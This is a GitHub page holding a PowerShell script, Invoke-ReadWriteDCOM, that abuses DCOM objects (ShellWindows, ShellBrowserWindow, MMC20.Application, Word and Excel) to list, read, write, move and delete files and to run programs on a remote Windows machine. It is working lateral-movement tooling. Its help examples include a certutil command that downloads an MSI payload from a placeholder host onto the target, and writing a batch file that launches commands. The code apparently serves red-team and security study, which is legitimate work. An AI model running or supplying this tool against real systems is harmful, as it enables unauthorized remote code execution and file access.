-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathInvoke-ReadWriteDCOM.ps1
323 lines (240 loc) · 8.39 KB
/
Invoke-ReadWriteDCOM.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
<#
DCOM Read Write
Author: https://github.com/Hagrid29
#>
function Invoke-ReadWriteDCOM {
<#
.SYNOPSIS
Perform drectory listing, read and write file on remote computer via DCOM methods
.DESCRIPTION
Read/write remote files via Word/Excel COM object, and list remote directory via ShellWindows COM object
.PARAMETER ComputerName
IP Address or Hostname of the remote system
.PARAMETER Action
Specifies the desired action
- List: list a directory or a file
- Copy: Copy file to specific location
- Move: Move file to specific location
- Delete: Delete a file
- Read: Read a text file
- Write: Write a text file
- Exec: Execute specific program
.PARAMETER TargetPath
Specifies the desired file path or folder path for Action
.PARAMETER ToFolder
Required for Action "Copy"/"Move"
.PARAMETER Text
Supply for Action "Write"
.PARAMETER LocalFile
Supply for Action "Write"
.PARAMETER AppendFileEnd
Switch for Action "Write": append content to target file
.PARAMETER Method
Specifies the desired type of execution for Action "Exec". Default execute C:\Windows\System32\cmd.exe
.PARAMETER Args
Optional, supply arguments to the program for Action "Exec"
.EXAMPLE
List a directory on target computer
Invoke-ReadWriteDCOM -Action List -ComputerName 127.0.0.1 -TargetPath C:\Temp
.EXAMPLE
Copy a file on target computer to desired location
Invoke-ReadWriteDCOM -Action Copy -ComputerName 127.0.0.1 -TargetPath C:\Windows\comsetup.log -ToFolder C:\temp
.EXAMPLE
Delete a file on target computer i.e, move a file to recycle bin
Invoke-ReadWriteDCOM -Action Delete -ComputerName 127.0.0.1 -TargetPath C:\Temp\comsetup.log
.EXAMPLE
Read a text file on target computer
Invoke-ReadWriteDCOM -Action Read -ComputerName 127.0.0.1 -TargetPath C:\Temp\comsetup.log
.EXAMPLE
Write a text file on target computer
Invoke-ReadWriteDCOM -Action Write -ComputerName 127.0.0.1 -TargetPath C:\Temp\run.bat -Text "cmd.exe /c calc"
Append a text file on target computer from a local text file
Invoke-ReadWriteDCOM -Action Write -ComputerName 127.0.0.1 -TargetPath C:\Temp\target.txt -LocalFile C:\Users\Public\myfile.txt -AppendFileEnd
.EXAMPLE
Execute command with cmd.exe on target computer
Invoke-ReadWriteDCOM -Action Exec -Method ShellBrowserWindow -ComputerName 127.0.0.1 -Args "/c calc"
Execute a program on target computer
Invoke-ReadWriteDCOM -Action Exec -Method ShellBrowserWindow -ComputerName 127.0.0.1 -TargetPath C:\Windows\System32\certutil.exe -Args "-urlcache -f `"https://X.X.X.X/in.msi`" C:\temp\in.msi"
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeLine = $true, ValueFromPipelineByPropertyName = $true)]
[String]
$ComputerName,
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("List", "Read", "Write", "Move", "Copy", "Delete", "Exec")]
[String]
$Action,
[Parameter(Mandatory = $false, Position = 2)]
[string]
$TargetPath,
[Parameter(Mandatory = $false, Position = 3)]
[string]
$ToFolder,
[Parameter(Mandatory = $false, Position = 4)]
[string]
$Text,
[Parameter(Mandatory = $false, Position = 5)]
[string]
$LocalFile,
[Parameter(Mandatory = $false, Position = 6)]
[switch]
$AppendFileEnd,
[Parameter(Mandatory = $false, Position = 7)]
[ValidateSet("ShellWindows", "ShellBrowserWindow", "MMC20.Application")]
[string]
$Method,
[Parameter(Mandatory = $false, Position = 8)]
[string]
$Args
)
$Com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$ComputerName")
$Obj = [Activator]::CreateInstance($Com)
$PathObj = $Obj.Item().Document.Folder.ParseName("$TargetPath")
if($PathObj -eq $null){
$isTargetPathExist = $false
}else{
$isTargetPathExist = $true
}
$isAppend = $false
if($PSBoundParameters.ContainsKey('AppendFileEnd')){
$isAppend = $true
}
if ( ($Action -Match "List") -or ($Action -Match "Copy") -or ($Action -Match "Move") -or ($Action -Match "Delete") ) {
if(-Not $isTargetPathExist){
Write-Error "Cannot find path '$TargetPath' because it does not exist."
return
}
$Com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$ComputerName")
}
elseif ( $Action -Match "Read") {
if(-Not $isTargetPathExist){
Write-Error "Cannot find the file $TargetPath specified on $ComputerName."
return
}
$Com = [Type]::GetTypeFromProgID("Word.Application","$ComputerName")
}
elseif ( $Action -Match "Write" ) {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
}
elseif ( $Action -Match "Exec" ) {
if(-Not $isTargetPathExist){
Write-Error "$TargetPath is not recognized as an operable program or batch file."
return
}
if($Method -Match "ShellWindows"){
$Com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","$ComputerName")
}
elseif($Method -Match "ShellBrowserWindow"){
$Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName")
}
elseif($Method -Match "MMC20.Application"){
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
}
}
$Obj = [Activator]::CreateInstance($Com)
if ($Action -Match "list") {
$PathObj = $Obj.Item().Document.Folder.ParseName("$TargetPath")
if($PathObj.IsFolder){
$Path = $PathObj.Path
$Content = $PathObj.GetFolder.items()
}
else{
$Path = $PathObj.Parent.Self.Path
$Content = $PathObj
}
Write-Output ""
Write-Output " Directory: $Path"
$Content | select IsFolder,ModifyDate,Size,Name | Sort-Object -Property IsFolder,ModifyDate -Descending | Format-Table -AutoSize -GroupBy IsFolder ModifyDate,Size,Name
}
elseif ($Action -Match "Copy") {
$PathObj = $Obj.Item().Document.Folder.ParseName("$ToFolder")
$PathObj.GetFolder.CopyHere("$TargetPath")
Write-Host " file copyed."
Write-Host ""
}
elseif ($Action -Match "Move") {
$PathObj = $Obj.Item().Document.Folder.ParseName("$ToFolder")
$PathObj.GetFolder.MoveHere("$TargetPath")
Write-Host " file moved."
Write-Host ""
}
elseif ($Action -Match "Delete") {
#move to recycal bin of the user
$PathObj = $Obj.Item().Document.Folder.ParseName("$TargetPath")
$PathObj.InvokeVerb("Delete")
}
elseif ($Action -Match "Read") {
#cannot read hidden file e.g., .gitconfig
$Document = $Obj.Documents.Open("$TargetPath")
foreach($p in $Document.Paragraphs){$p.range.text}
$Obj.Quit()
}
elseif ($Action -Match "Write") {
if(-Not $isTargetPathExist){
$sh = $Obj.Workbooks.Add()
if($Text -ne ""){
$sh.ActiveSheet.cells(1, 1).Value = $Text
}
elseif($LocalFile -ne ""){
$i = 1
foreach($line in Get-Content "$LocalFile"){
$sh.ActiveSheet.cells($i, 1).Value = $line
$i++
}
}
else{
$Obj.quit()
Write-Error "-Text or -LocalFile prarmeter is required"
return
}
$sh.saveas("$TargetPath", 6)
Write-Output "File $TargetPath created and saved"
}
else{
$sh = $Obj.Workbooks.open("$TargetPath")
if($isAppend){
$begin_row = $sh.ActiveSheet.UsedRange.Rows.Count + 1
if($Text -ne ""){
$sh.ActiveSheet.cells($begin_row, 1).Value = $Text
}
elseif($LocalFile -ne ""){
$i = $begin_row
foreach($line in Get-Content "$LocalFile"){
$sh.ActiveSheet.cells($i, 1).Value = $line
$i++
}
}
else{
$Obj.quit()
Write-Error "-Text or -LocalFile prarmeter is required"
return
}
$sh.save()
Write-Output "File $TargetPath edited and saved"
}
else{
$Obj.quit()
Write-Error "Target file $TargetPath exist on $ComputerName. -AppendFileEnd switch is required to append content"
return
}
}
$Obj.quit()
}
elseif ($Action -Match "Exec") {
if($TargetPath -eq ""){
$TargetPath = "C:\Windows\System32\cmd.exe"
}
if($Method -Match "ShellWindows"){
#a blank prompt will be popped up
$Obj.Item().Document.Folder.ParseName("$TargetPath").InvokeVerbEx("open", $Args)
}
elseif($Method -Match "ShellBrowserWindow"){
$Obj.Document.Application.ShellExecute("$TargetPath",$Args,"",$null,0)
}
elseif($Method -Match "MMC20.Application"){
#a blank prompt will be popped up
$Obj.Document.ActiveView.ExecuteShellCommand("$TargetPath",$null,$Args,"7")
}
}
}